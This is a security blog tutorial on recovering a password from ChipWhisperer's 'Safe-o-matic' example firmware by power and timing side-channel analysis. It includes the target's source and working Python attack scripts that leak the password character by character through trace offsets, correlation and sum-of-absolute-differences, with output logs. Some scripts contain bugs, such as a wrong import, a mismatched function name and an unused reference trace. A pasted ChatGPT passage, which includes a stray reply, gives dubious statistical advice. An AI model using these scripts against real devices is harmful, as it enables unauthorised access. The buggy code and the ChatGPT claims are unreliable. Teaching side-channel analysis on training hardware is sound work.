Timing and power analysis, to attack Passwords, using ChipWhisperer.

Home » Hawktesters Cybersecurity Research » Timing and power analysis, to attack Passwords, using ChipWhisperer.

Summary: This article will introduce you to discovering and determining when a device is performing certain operations, Our target target device will perform a simple password check and demonstrate how to perform a basic power analysis.

Learning Outcomes:

  • How power can be used to determine timing information.
  • Plot multiple iterations while varying input data to find interesting locations.
  • Using waveform difference to find interesting locations.
  • Performing energy captures with ChipWhisperer hardware (hardware only).
  • Perform analysis by applying data correlation.

Static analysis

Below you will find the code implemented in the target.

/*
    This file is part of the ChipWhisperer Example Targets
    Copyright (C) 2012-2015 NewAE Technology Inc.

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/

#include "hal.h"
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>

#define IDLE 0
#define KEY 1
#define PLAIN 2

#define BUFLEN 64

uint8_t memory[BUFLEN];
uint8_t tmp[BUFLEN];
char asciibuf[BUFLEN];
uint8_t pt[16];

static void delay_2_ms(void);


void my_puts(char *c)
{
  do {
    putch(*c);

  } while (*++c);
}

static void delay_2_ms()
{
  for (volatile unsigned int i=0; i < 0xfff; i++ ){
    ;
  }
}

void my_read(char *buf, int len)
{
  for(int i = 0; i < len; i++) {
    while (buf[i] = getch(), buf[i] == '\0');

    if (buf[i] == '\n') {
      buf[i] = '\0';
      return;
    }
  }
  buf[len - 1] = '\0';
}

int main(void)
  {
    platform_init();
  init_uart();
  trigger_setup();

    char passwd[32];
    char correct_passwd[] = "h0px3";

  while(1){

        my_puts("*****Safe-o-matic 3000 Booting...\n");
        //Print some fancy-sounding stuff so that attackers
        //will get scared and leave us alone
        my_puts("Aligning bits........[DONE]\n");
        delay_2_ms();
        my_puts("Checking Cesium RNG..[DONE]\n");
        delay_2_ms();
        my_puts("Masquerading flash...[DONE]\n");
        delay_2_ms();
        my_puts("Decrypting database..[DONE]\n");
        delay_2_ms();
        my_puts("\n\n");

        //Give them one last warning
        my_puts("WARNING: UNAUTHORIZED ACCESS WILL BE PUNISHED\n");

        trigger_low();

        //Get password
        my_puts("Please enter password to continue: ");
        my_read(passwd, 32);

        uint8_t passbad = 0;

        trigger_high();

        for(uint8_t i = 0; i < sizeof(correct_passwd); i++){
            if (correct_passwd[i] != passwd[i]){
                passbad = 1;
                break;
            }
        }

        if (passbad){
            //Stop them fancy timing attacks
             int wait = 1;
            for(volatile int i = 0; i < wait; i++){
                ;
            }
            delay_2_ms();
            delay_2_ms();
            my_puts("PASSWORD FAIL\n");
            led_error(1);
        } else {
            my_puts("Access granted, Welcome!\n");
            led_ok(1);
        }

        //All done;
        while(1);
  }

  return 1;
  }

Focus on the most important points in this code which is as follows:

for(uint8_t i = 0; i < sizeof(correct_passwd); i++){
      if (correct_passwd[i] != passwd[i]){
          passbad = 1;
          break;
      }
  }

  if (passbad){
      //Stop them fancy timing attacks
       int wait = 1;
      for(volatile int i = 0; i < wait; i++){
          ;
      }
      delay_2_ms();
      delay_2_ms();
      my_puts("PASSWORD FAIL\n");
      led_error(1);
  } else {
      my_puts("Access granted, Welcome!\n");
      led_ok(1);
  }

In the above code you can see a for loop which goes from the numerical range 0 to the password size, then does a position by position validation of the array containing the entered password with the one stored in the device.

If a character does not match the corresponding position of the password entered with the stored one, a flag with value 1 is set.

In the validation of the flag, in the if you can see that there is a delay to display the incorrect password message.

You may ask yourself, what is the bug here? You will initially exploit the idea that there will be a time mis-phase between a correct and incorrect character according to the analysis you observed earlier.

ChipWhisperer and Target Card Configuration

You can start by configuring the ChipWhisperer against the target with which it should interact.

Additionally you can also add global variables to interact with your ChipWhisperer device in this case Lite ARM.

SCOPETYPE = 'OPENADC'
PLATFORM = 'CWLITEARM'
SS_VER = 'SS_VER_1_1'

The following code will connect the scope and do a basic configuration, the communication with the target will be done through Serial communication.

import chipwhisperer as cw
import time

try:
    if not scope.connectStatus:
        scope.con()
except NameError:
    scope = cw.scope()

try:
    if SS_VER == "SS_VER_2_1":
        target_type = cw.targets.SimpleSerial2
    elif SS_VER == "SS_VER_2_0":
        raise OSError("SS_VER_2_0 is deprecated. Use SS_VER_2_1")
    else:
        target_type = cw.targets.SimpleSerial
except:
    SS_VER="SS_VER_1_1"
    target_type = cw.targets.SimpleSerial

try:
    target = cw.target(scope, target_type)
except:
    print("INFO: Caught exception on reconnecting to target - attempting to reconnect to scope first.")
    print("INFO: This is a work-around when USB has died without Python knowing. Ignore errors above this line.")
    scope = cw.scope()
    target = cw.target(scope, target_type)


print("INFO: Found ChipWhisperer😍")

It is important to set a function to reset the target (triggers in this case) and set the default values for sampling.

scope.default_setup()
def reset_target(scope):
    if PLATFORM == "CW303" or PLATFORM == "CWLITEXMEGA":
        scope.io.pdic = 'low'
        time.sleep(0.05)
        scope.io.pdic = 'high'
        time.sleep(0.05)
    else:  
        scope.io.nrst = 'low'
        time.sleep(0.05)
        scope.io.nrst = 'high'
        time.sleep(0.05)

Now establish a simple communication with the target to see that it is interacting correctly from the chipwhisperer through the Serial protocol.

reset_target(scope)
target.flush()
target.write("h0p\n")
print(target.read(timeout=100))

You should now see the communication output with the target.

Decrypting database..[DONE]


WARNING: UNAUTHORIZED ACCESS WILL BE PUNISHED
Please enter password to continue:

Dynamic analysis

To start this analysis consider the following points, if you will be in a black box analysis where you do not have access to the source code, the first thing to consider is to test the input of characters to see if any respond differently.

This in order to look for traces of differences and take it as a baseline.

So start by sending a null byte \x00 and the character h and it will do an energy capture, send it to plot a range of 300 traces of both characters.

Then for this you will need to create a function that allows you to send information to the target and capture the energy trace that is currently being performed.

def cap_pass_trace(pass_guess):
    reset_target(scope)
    num_char = target.in_waiting()
    while num_char > 0:
        target.read(num_char, 10)
        time.sleep(0.01)
        num_char = target.in_waiting()

    scope.arm()
    target.write(pass_guess)
    ret = scope.capture()
    if ret:
        print('Timeout happened during acquisition')

    trace = scope.get_last_trace()
    return trace

You do not need all 5000 default samples in the chipwhisperer track, 3000 is a good starting point for most targets:

scope.adc.samples = 3000

now see an example to find a difference between a reference trace that we believe to be incorrect, an invalid character within a password, for example the null byte \x00.

from tqdm.notebook import tnrange
import strings
%matplotlib notebook
import matplotlib.pylab as plt

plt.figure(figsize=(9,7), dpi= 100, facecolor='w', edgecolor='k')


password = [x for x in string.digits ]
ref_trace = cap_pass_trace("\x00\n")[0:300]

traces = []

for i in tnrange(len(password), desc='Capturing traces'):
    trace = cap_pass_trace(str(password[i]) + "\n")
    traces.append(trace)

for t in range(0,len(traces)):
    plt.plot(traces[t][0:300], label=password[t])

plt.legend()
plt.show()

When you plot the results you will see the following:

La imagen tiene un atributo ALT vacío; su nombre de archivo es image-3.png

Clearly the value 4 is a value that has a lot of relevance, compared to the others, so you can assume that it can be a candidate, for your password.

Note that for this example we changed the source code password, now we will continue with another password.

Changing the password of the device I did a data capture for the letter h which is the correct initial letter of the new password, I also captured another frame with a wrong value, for example \x00, and I observed:

trace_wrong = cap_pass_trace("\x00\n")
trace_correct = cap_pass_trace("h\n")

With this you have captured the energy traces for an incorrect value and for a correct value of the password, then view the results, plotting them through the holoview library.

import holoviews as hv
hv.extension('bokeh')
graph_wrong = hv.Curve(trace_wrong[0:300], label="wrong data").opts(height=800, width=800, color='red', tools=['hover'])
graph_success = hv.Curve(trace_correct[0:300], label="success data").opts(height=800, width=800, color='green', tools=['hover'])

overlay = graph_wrong * graph_success

# Visualizar la gráfica
overlay.opts(height=800, width=800, xlabel='Eje X', ylabel='Eje Y', title='Gráfica de datos', border_line_dash='dashed', legend_position='bottom', legend_offset=(0, 10))

In the following graph you can see the time lag of the energy capture of a correct and an incorrect character of the password.

La imagen tiene un atributo ALT vacío; su nombre de archivo es image.png

Then look at the following energy trace information.

  1. The red graphic acts as an invalid character and the green one as a valid character, we know this because we could see it through the source code.
  2. Note that the time lag in this energy capture is obvious, it is the time lag from an incorrect character to a correct character.

You can also see that the peak energy for the wrong character in this case is on the x-axis with a value of 96.

La imagen tiene un atributo ALT vacío; su nombre de archivo es image-1.png

Now notice that the energy trace on the x-axis for a correct character is located at 136 so you will observe a phase shift of 40 (136 - 96) = 40

There are different peaks which you can choose for your analysis but for this article we will mainly focus on this one because it was quite clear and obvious, then:

X1X2D
9613640

x1 means the beginning of an incorrect character in the sample 96
x2 means the beginning of a correct character in the sample 136

d assumes the de-facing distance, so with that you can tell the algorithm to start at sample 136 and thereafter add 40 and it will find the next energy trace of the next character that is correct, see an example of the calculation you just did and see if the algorithm detects the first character in the identified data.

Another important thing is to see the y-axis value of this energy peak, which you can see by zooming in a little more on the graph at the correct character point.

Therefore the condition starts at the peak of the x-axis of 136 and y must be greater than 0.12 to ensure that if it mistakenly finds a peak at the same position it meets the y-axis condition.

The validation function will be as follows:

def check_pass(trace, i):
    if PLATFORM == "CWLITEARM" or PLATFORM == "CW308_STM32F3":
        return trace[136 + 40 * i] > 0.12

and the code for traversing the characters will be as follows:

trylist = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""
for c in trylist:
    next_pass = password + c + "\n"
    trace = cap_pass_trace(next_pass)
    if theCheckPass(trace, 0):
        print("Success: " + c)
        break

When you run it you will see the following:

You already have the first correct character referencing the h, which is correct.

You can also view a differential trace of a non-printable character such as \x00 against the printable string, this will reveal a clear plot of the energy consumption of a possibly correct character.

import holoviews as hv
from bokeh.io import output_notebook
from bokeh.plotting import show

output_notebook()

LIST_OF_VALID_CHARACTERS = string.ascii_letters + string.digits + string.punctuation
ref_trace = cap_pass_trace("\x00\n")[0:500]

curves = []
for CHARACTER in LIST_OF_VALID_CHARACTERS:
    trace = cap_pass_trace(CHARACTER + "\n")[0:500]
    curve = hv.Curve(trace - ref_trace)
    curves.append(curve)

overlay = hv.Overlay(curves)
overlay.opts(height=500, width=500, xlabel='Eje X', ylabel='Eje Y', title='Gráfica de datos', border_line_dash='dashed', legend_position='bottom', legend_offset=(0, 10))
show(hv.render(overlay, backend='bokeh'))

Finally automate the final script to remove the entire password, using the time de-phasing method.

def theCheckPass(trace, i):
    if PLATFORM == "CWLITEARM" or PLATFORM == "CW308_STM32F3":
        print(i)
        if i == 5:
            return trace[140 + 32*i] > 0.025
        else:
            return trace[140 + 36*i] > 0.15

trylist = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""
for i in range(6):
    for c in trylist:
        next_pass = password + c + "\n"
        trace = cap_pass_trace(next_pass)
        if theCheckPass(trace, i):
            password += c
            print("Success, pass now {}".format(password))
            break

In the following video, a demonstration of the attack is made using the previous analysis, using a different password to the one previously mentioned.
Keep in mind that the limits of de-faces, will vary, so you must analyze at the beginning the wrong character, with a correct one.

Attack through data correlation

What does it mean for two variables to be correlated? Simply put, it means that the variables are related because they move together in some way. Perhaps one goes up while the other goes down or both go up together. This is not the same as a movement in one variable causing the other to go up or down; there may be an invisible third variable controlling the other two; however, knowing the value of one of the variables will still give you information about the second if they are correlated.

Many people are introduced to correlation in beginning statistics classes with a formula for Pearson’s correlation coefficient and a set of graphs demonstrating various levels of correlation like this one:

In the far left graph, there is only a very low correlation between our x and y variables. On the right there is a very high correlation; the two variables appear to move in unison, as x increases, invariably y does as well. The value of Pearson’s correlation coefficient reflects the important trends quite well, with the blocking relationship on the right represented by a value close to 1 and the low correlation on the left captured by a value close to 0. Of course, variables can also be negatively correlated, where the value of Y generally falls as X increases:

Then, the value of the correlation can be between [-1; 1]. If it is close to 1, then the 2 variables are positively correlated; otherwise, if the value is close to -1, then they are negatively correlated; otherwise, they are uncorrelated: values between [-0.5; 0.5] for example!

To perform this attack we will then calculate the correlation between an incorrect character that does not belong to a password e.g. \x00 versus the printable characters that may belong to a password.

Incorrect character will have a high correlation with our bad character (corr > 0.9) Correct character will have a low correlation with our bad character (corr < 0.9)

Let’s see an example in the following code, which will use Pearson’s correlation

from numpy import corrcoef
import string
import time
cont = 0
trylist = string.ascii_letters + string.digits + string.punctuation

traces = {}

wrong_value = cap_pass_trace("\x00" + "\n")
min_corr = 1
good_char = ''

for c in trylist:
    traces[c] = cap_pass_trace(c + "\n")
    corr = corrcoef(wrong_value, traces[c])[0][1]
    if cont % 2 == 0:
        print(f"\\x00 vs {c}: {corr}\t",end="")
    else:
        print(f"\\x00 vs {c}: {corr}\n",end="")
    if corr < min_corr:
        min_corr = corr
        good_char = c
    
    time.sleep(0.01)
    cont += 1

print("[*] Found character: {}".format(good_char))

Our output is clear, all characters compared to \x00 when incorrect are greater than 0.9 but h is below and with this we can see that it is a correct character.

Now let’s write a complete code that attacks the password no matter its size.

from numpy import corrcoef
import string
import time

corr_threshold = 0.9

def next_char(pwd):
    trylist = string.ascii_letters + string.digits + string.punctuation
    traces = {}
    min_corr = 1
    char = ''
    tmp = cap_pass_trace(pwd + "\x00" + "\n")
    
    for c in trylist:
        traces[c] = cap_pass_trace(pwd + c + "\n")
        corr = corrcoef(tmp, traces[c])[0][1]
        if corr < min_corr:
            min_corr = corr
            char = c
        
        time.sleep(0.01)
    
    return char, min_corr


pwd = ''

while True:
    char, corr = next_char(pwd)
    
    if corr < corr_threshold:
        pwd += char
        print(f"[*] Leaking password: {pwd}")
    else:
        print(f"[*] Found Password: {pwd}")
        break

The output of our program manages to like our password correctly.

Note that the default password was changed to see the final code implementation.

Going a little deeper ChatGPT suggests the following so we created additional code for the suggested correlation methods.

ChatGPT suggests:

For this type of power analysis where an energy trace of a character from an incorrect key is used as the reference value, it is advisable to use a nonlinear correlation rather than a linear correlation or linear regression. The reason for this is that the relationships between energy capture and time values in a power trace are often nonlinear, and a linear correlation or linear regression would not be adequate to capture these nonlinear relationships.

Instead, a nonlinear correlation, such as Kendall’s correlation or Spearman’s correlation, is more appropriate for measuring the relationship between two nonlinear variables. In addition, a nonlinear regression, such as degree 2 polynomial regression or exponential regression, could also be used to model the nonlinear relationship between energy capture and time values in power traces.

In summary, we suggest using a nonlinear correlation or nonlinear regression for this type of power analysis in which an energy trace of a character from an incorrect password is used as a reference value versus alphabet characters to guess the correct password.

Kendall’s Nonlinear Correlation

from scipy.stats import kendalltau
import matplotlib.pyplot as plt
import numpy as np
import string

trylist = string.ascii_letters + string.digits + string.punctuation
traces = {}

wrong_value = cap_pass_trace("\x00" + "\n")

for c in trylist:
    traces[c] = cap_pass_trace(c + "\n")

# Calcular la correlación no lineal (coeficiente de correlación de Kendall)
corr, p_value = kendalltau([np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)))
# Realizar la regresión polinómica de grado 2
polyfit = np.polyfit([np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)), 2)
x = np.linspace(min([np.mean(traces[x]) for x in traces.keys()]), max([np.mean(traces[x]) for x in traces.keys()]), 100)
y = np.polyval(polyfit, x)
fig = plt.figure(figsize=(15, 12))
ax = fig.add_subplot(1, 1, 1)

# Graficar los datos, la regresión polinómica de grado 2 y la clave errónea
ax.plot([np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)), 'o', label='Datos', markersize=10, color='silver')
ax.plot(x, y, label='Regresión polinómica de grado 2', color='orange')
ax.axvline(x=np.mean(wrong_value), color='red', linestyle='--', label='Clave errónea', linewidth=2)

# Escribir la letra correspondiente a cada dato
for i, letter in enumerate([x for x in traces.keys()]):
    ax.text(np.mean(traces[letter]), i, letter, ha='left', va='center', fontsize=12, color='magenta')

# Escribir la letra con la correlación más alta y más baja
corr_list = [(letter, corr_coef) for letter, corr_coef in zip(traces.keys(), [kendalltau(traces[letter], wrong_value)[0] for letter in traces.keys()])]
max_corr = max(corr_list, key=lambda x: x[1])
min_corr = min(corr_list, key=lambda x: x[1])
# Mostrar valores de correlación fuera de la gráfica
plt.text(1.05, 0.93, f'Menor correlación: {min_corr[0]} ({min_corr[1]:.3f})', transform=ax.transAxes, color='green', fontsize=14)
plt.text(1.05, 0.87, f'Mayor correlación: {max_corr[0]} ({max_corr[1]:.3f})', transform=ax.transAxes, color='red', fontsize=14)

# Personalizar la apariencia de la gráfica
ax.set_xlabel('Captura de energía', fontsize=16)
ax.set_ylabel('Índice de letra', fontsize=16)
ax.set_title('Correlación entre captura de energía y letra del alfabeto', fontsize=18)
ax.legend(fontsize=14, loc='lower right')
ax.tick_params(axis='both', labelsize=14)

plt.show()

Spearman’s nonlinear correlation

from scipy.stats import spearmanr
import matplotlib.pyplot as plt
import numpy as np
import string

trylist = string.ascii_letters + string.digits + string.punctuation
traces = {}

wrong_value = cap_pass_trace("\x00" + "\n")

for c in trylist:
    traces[c] = cap_pass_trace(c + "\n")

# Calcular la correlación no lineal (coeficiente de correlación de Spearman)
corr, p_value = spearmanr([np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)))
# Realizar la regresión polinómica de grado 2
polyfit = np.polyfit([np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)), 2)
x = np.linspace(min([np.mean(traces[x]) for x in traces.keys()]), max([np.mean(traces[x]) for x in traces.keys()]), 100)
y = np.polyval(polyfit, x)
fig = plt.figure(figsize=(15, 12))
ax = fig.add_subplot(1, 1, 1)

# Graficar los datos, la regresión polinómica de grado 2 y la clave errónea
ax.plot([np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)), 'o', label='Datos', markersize=10, color='silver')
ax.plot(x, y, label='Regresión polinómica de grado 2', color='orange')
ax.axvline(x=np.mean(wrong_value), color='red', linestyle='--', label='Clave errónea', linewidth=2)

# Escribir la letra correspondiente a cada dato
for i, letter in enumerate([x for x in traces.keys()]):
    ax.text(np.mean(traces[letter]), i, letter, ha='left', va='center', fontsize=12, color='magenta')

# Escribir la letra con la correlación más alta y más baja
corr_list = [(letter, corr_coef) for letter, corr_coef in zip(traces.keys(), [spearmanr(traces[letter], wrong_value)[0] for letter in traces.keys()])]
max_corr = max(corr_list, key=lambda x: x[1])
min_corr = min(corr_list, key=lambda x: x[1])
# Mostrar valores de correlación fuera de la gráfica
plt.text(1.05, 0.93, f'Menor correlación: {min_corr[0]} ({min_corr[1]:.3f})', transform=ax.transAxes, color='green', fontsize=14)
plt.text(1.05, 0.87, f'Mayor correlación: {max_corr[0]} ({max_corr[1]:.3f})', transform=ax.transAxes, color='red', fontsize=14)


# Personalizar la apariencia de la gráfica
ax.set_xlabel('Captura de energía', fontsize=16)
ax.set_ylabel('Índice de letra', fontsize=16)
ax.set_title('Correlación entre captura de energía y letra del alfabeto', fontsize=18)
ax.legend(fontsize=14, loc='lower right')
ax.tick_params(axis='both', labelsize=14)

plt.show()

Non-linear regression

Not necessarily. Nonlinear regression can use any type of correlation coefficient, including Pearson’s, Kendall’s or Spearman’s correlation coefficient. In the code I provided above, I used Spearman’s correlation coefficient, but you could modify it to use any other correlation coefficient you wish.

from scipy.stats import kendalltau, spearmanr
from scipy.optimize import curve_fit
import matplotlib.pyplot as plt
import numpy as np
import string

def func(x, a, b, c):
    return a * np.exp(-b * x) + c

trylist = string.ascii_letters + string.digits + string.punctuation
traces = {}

wrong_value = cap_pass_trace("\x00" + "\n")

for c in trylist:
    traces[c] = cap_pass_trace(c + "\n")

# Calcular la correlación no lineal (coeficiente de correlación de Spearman)
corr, p_value = spearmanr([np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)))
# Realizar la regresión no lineal
popt, pcov = curve_fit(func, [np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)), maxfev=10000)
x = np.linspace(min([np.mean(traces[x]) for x in traces.keys()]), max([np.mean(traces[x]) for x in traces.keys()]), 100)
y = func(x, *popt)
fig = plt.figure(figsize=(15, 12))
ax = fig.add_subplot(1, 1, 1)

# Graficar los datos, la regresión no lineal y la clave errónea
ax.plot([np.mean(traces[x]) for x in traces.keys()], np.arange(len(traces)), 'o', label='Datos', markersize=10, color='silver')
ax.plot(x, y, label='Regresión no lineal', color='orange')
ax.axvline(x=np.mean(wrong_value), color='red', linestyle='--', label='Clave errónea', linewidth=2)

# Escribir la letra correspondiente a cada dato
for i, letter in enumerate([x for x in traces.keys()]):
    ax.text(np.mean(traces[letter]), i, letter, ha='left', va='center', fontsize=12, color='magenta')

# Escribir la letra con la correlación más alta y más baja
corr_list = [(letter, corr_coef) for letter, corr_coef in zip(traces.keys(), [spearmanr(traces[letter], wrong_value)[0] for letter in traces.keys()])]
max_corr = max(corr_list, key=lambda x: x[1])
min_corr = min(corr_list, key=lambda x: x[1])
# Mostrar valores de correlación fuera de la gráfica
plt.text(1.05, 0.93, f'Menor correlación: {min_corr[0]} ({min_corr[1]:.3f})', transform=ax.transAxes, color='green', fontsize=14)
plt.text(1.05, 0.87, f'Mayor correlación: {max_corr[0]} ({max_corr[1]:.3f})', transform=ax.transAxes, color='red', fontsize=14)

# Personalizar la apariencia de la gráfica
ax.set_xlabel('Captura de energía', fontsize=16)
ax.set_ylabel('Índice de letra', fontsize=16)
ax.set_title('Correlación entre captura de energía y letra del alfabeto', fontsize=18)
ax.legend(fontsize=14, loc='lower right')
ax.tick_params(axis='both', labelsize=14)

plt.show()

Attack via SAD match

In general terms: The SAD measures the absolute difference between the values of each point of the two signals and then adds up all the differences.

Then we can do the same as in the previous case, we take an energy trace of an incorrect character and calculate the SAD with this trace and that of the alphabet or the characters we want to check, let’s see an example

import numpy as np
import string
import time

def SAD(signal1, signal2):
    """Calcula la Suma de Diferencia Absoluta entre dos señales."""
    return np.sum(np.abs(signal1 - signal2))


trylist = string.ascii_letters + string.digits + string.punctuation

traces = {}

wrong_value = cap_pass_trace("\x00" + "\n")

for c in trylist:
    traces[c] = cap_pass_trace(c + "\n")
    time.sleep(0.01)

for key, value in traces.items():
    print(f"[*] SAD {key} = {SAD(wrong_value, value)}")

Now we can see the output of the SAD calculation, and we see an obvious value h [*] SAD h = 95.7744140625

[*] SAD a = 4.015625
[*] SAD b = 3.6962890625
[*] SAD c = 3.9501953125
[*] SAD d = 3.8095703125
[*] SAD e = 3.8857421875
[*] SAD f = 3.3349609375
[*] SAD g = 3.36328125
[*] SAD h = 95.7744140625
[*] SAD i = 3.6767578125
[*] SAD j = 4.279296875
[*] SAD k = 4.181640625
[*] SAD l = 4.2578125
[*] SAD m = 4.08984375
[*] SAD n = 4.04296875
[*] SAD o = 3.54296875
[*] SAD p = 3.73046875
[*] SAD q = 3.5810546875
[*] SAD r = 3.8193359375
[*] SAD s = 3.396484375
[*] SAD t = 3.537109375
[*] SAD u = 3.986328125
[*] SAD v = 4.0986328125
[*] SAD w = 3.7373046875
[*] SAD x = 3.583984375
[*] SAD y = 4.15234375
[*] SAD z = 4.0654296875
[*] SAD A = 3.1796875
[*] SAD B = 3.6962890625
[*] SAD C = 3.8486328125
[*] SAD D = 3.2958984375
[*] SAD E = 3.75390625
[*] SAD F = 3.4580078125
[*] SAD G = 3.126953125
[*] SAD H = 3.9296875
[*] SAD I = 3.4541015625
[*] SAD J = 3.9306640625
[*] SAD K = 3.279296875
[*] SAD L = 4.052734375
[*] SAD M = 3.2626953125
[*] SAD N = 3.697265625
[*] SAD O = 4.046875
[*] SAD P = 3.638671875
[*] SAD Q = 3.5185546875
[*] SAD R = 3.5078125
[*] SAD S = 3.328125
[*] SAD T = 3.375
[*] SAD U = 3.77734375
[*] SAD V = 4.0576171875
[*] SAD W = 3.7939453125
[*] SAD X = 3.2548828125
[*] SAD Y = 3.3330078125
[*] SAD Z = 4.044921875
[*] SAD 0 = 3.5615234375
[*] SAD 1 = 4.0693359375
[*] SAD 2 = 4.0283203125
[*] SAD 3 = 3.4384765625
[*] SAD 4 = 3.4462890625
[*] SAD 5 = 3.27734375
[*] SAD 6 = 3.8154296875
[*] SAD 7 = 3.7734375
[*] SAD 8 = 4.0146484375
[*] SAD 9 = 4.0498046875
[*] SAD ! = 3.576171875
[*] SAD " = 3.6943359375
[*] SAD # = 3.744140625
[*] SAD $ = 3.33203125
[*] SAD % = 3.6103515625
[*] SAD & = 3.3046875
[*] SAD ' = 4.0205078125
[*] SAD ( = 4.1455078125
[*] SAD ) = 3.4169921875
[*] SAD * = 4.1064453125
[*] SAD + = 3.203125
[*] SAD , = 3.546875
[*] SAD - = 3.638671875
[*] SAD . = 3.625
[*] SAD / = 4.0361328125
[*] SAD : = 4.0498046875
[*] SAD ; = 3.3701171875
[*] SAD < = 3.845703125
[*] SAD = = 3.599609375
[*] SAD > = 4.0732421875
[*] SAD ? = 3.5791015625
[*] SAD @ = 3.5751953125
[*] SAD [ = 3.794921875
[*] SAD \ = 3.421875
[*] SAD ] = 3.439453125
[*] SAD ^ = 3.4912109375
[*] SAD _ = 3.7392578125
[*] SAD ` = 3.8662109375
[*] SAD { = 3.2724609375
[*] SAD | = 3.6103515625
[*] SAD } = 4.1787109375
[*] SAD ~ = 3.8369140625

You can then use this same vector to attack the password

Let’s see an example plotting the data.

import numpy as np
import string
import time
import holoviews as hv
from bokeh.plotting import show
from bokeh.io import output_notebook
from bokeh.models import HoverTool

# Carga la extensión de Holoviews para Bokeh
hv.extension('bokeh')
output_notebook()

def SAD(signal1, signal2):
    """Calcula la Suma de Diferencia Absoluta entre dos señales."""
    return np.sum(np.abs(signal1 - signal2))

trylist = string.ascii_letters + string.digits + string.punctuation

traces = {}

wrong_value = cap_pass_trace("\x00" + "\n")
min_corr = 1
good_char = ''

for c in trylist:
    traces[c] = cap_pass_trace(c + "\n")
    time.sleep(0.01)

data = []
for key, value in traces.items():
    data.append((key, SAD(wrong_value, value)))

points = hv.Points(data, ['key', 'SAD'])

# Define el gráfico y su estilo
scatter = points.opts(color='red', size=10, xlabel='Carácter', ylabel='SAD', title='SAD por carácter',width=1200, height=800)

# Crea una instancia de la herramienta HoverTool de Bokeh
hover = HoverTool(tooltips=[('Carácter', '@key'), ('SAD', '@SAD')])

# Conecta la herramienta HoverTool con el gráfico
scatter = hv.render(scatter, backend='bokeh')
scatter.add_tools(hover)

# Muestra el gráfico en el notebook de Jupyter
show(scatter)

You can see that the SAD value for h is indisputably different from the others, indicating a likely password character.

Then you can assemble your code to attack the entire password

import numpy as np
import string
import time

def SAD(signal1, signal2):
    """Calcula la Suma de Diferencia Absoluta entre dos señales."""
    return np.sum(np.abs(signal1 - signal2))

def next_char(pwd):
    trylist = string.ascii_letters + string.digits + string.punctuation
    traces = {}
    sad = {}
    passwd = ''
    wrong_value_ref = cap_pass_trace(pwd + "\x00" + "\n")

    for c in trylist:
        traces[c] = cap_pass_trace(pwd + c + "\n")
        sad[c] = SAD(wrong_value, traces[c])
        time.sleep(0.01)
    
    max_key = max(sad, key=sad.get)
    
    max_value = traces[max_key]
    passwd = max_key
    
    return passwd, sad[max_key]


pwd = ''
tmp = 0
while True:
    char, sad = next_char(pwd)
    
    if sad > tmp:
        pwd += char
        print(f"[*] Leaking password: {pwd}")
        tmp = sad
    else:
        print(f"[*] Found Password: {pwd}")
        break

Greetings @sasaga92 Happy Hacking by Hawktesters Team.

Samir Sánchez Garnica

Hi, Samir Sanchez Garnica is a seasoned Purple Team professional with over 12 years of expertise in ethical hacking, specializing in security testing across web environments, cloud platforms (Azure, AWS, Google Cloud), and on-premise infrastructures—with a primary focus on the banking sector. His extensive experience encompasses mobile application security, reverse engineering, network team exercises, and social engineering initiatives. A passionate programmer, Samir continually enhances his work through the automation of pentesting processes, leveraging his proficiency in SHELLSCRIPT, Python3, PHP, C, JavaScript, PowerShell, Objective-C, Node.js, Dart, and Assembly Language. Samir’s current endeavors are centered on reverse engineering, where he excels as both a reverser and shellcode writer across Windows, macOS, and GNU/Linux environments, spanning user land and kernel land. His latest research efforts delve into debugging within iOS mobile environments, IoT technologies, and the intricacies of reversing on MIPS and ARM architectures, with a specialized focus on radio frequency-based hardware exploitation.

Post navigation

1 Comment

Leave a Reply

Your email address will not be published. Required fields are marked *